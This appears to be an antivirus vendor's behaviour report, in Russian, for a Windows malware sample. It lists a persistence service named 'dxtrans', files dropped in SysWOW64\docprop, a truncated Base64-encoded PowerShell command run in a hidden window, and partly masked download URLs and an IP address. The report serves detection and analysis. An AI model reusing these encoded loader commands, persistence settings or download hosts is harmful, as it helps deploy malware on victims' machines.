Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\dxtrans] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\dxtrans] 'ImagePath' = '"%WINDIR%\SysWOW64\docprop\dxtrans.exe"'
- 'dxtrans' "%WINDIR%\SysWOW64\docprop\dxtrans.exe"
- 'dxtrans' %WINDIR%\SysWOW64\docprop\dxtrans.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABUAHgAaQB2ADMAZgBnAD0AKAAnAEwAawAnACsAJwA2ACcAKwAoACcAMwB6ACcAKwAnAHoAcgAnACkAKQA7ACQAWgB6AGMAMwB5AGsAdAA9ACQAWABsAF8AMQBlAGQAcwAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQ...
- %HOMEPATH%\ayb6otz\wkgk0v7\w3i3h04.exe
- %WINDIR%\syswow64\docprop\dxtrans.exe
- %HOMEPATH%\ayb6otz\wkgk0v7\w3i3h04.exe в %WINDIR%\syswow64\docprop\dxtrans.exe
- '18#.#80.181.202':80
- http://www.ge##rt.com/atrabiliary/yfH/
- http://18#.#80.181.202/KAVrpyQusMXwo/uES9ZmeFVJ8iwzzNqnG/0WAjy1vWP8s/ofMScF/NG10xhkGgtNyxZK/2e5j3t5Vm8pifu/
- DNS ASK ge##rt.com
- '%HOMEPATH%\ayb6otz\wkgk0v7\w3i3h04.exe'
- '%WINDIR%\syswow64\docprop\dxtrans.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABUAHgAaQB2ADMAZgBnAD0AKAAnAEwAawAnACsAJwA2ACcAKwAoACcAMwB6ACcAKwAnAHoAcgAnACkAKQA7ACQAWgB6AGMAMwB5AGsAdAA9ACQAWABsAF8AMQBlAGQAcwAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQ...' (со скрытым окном)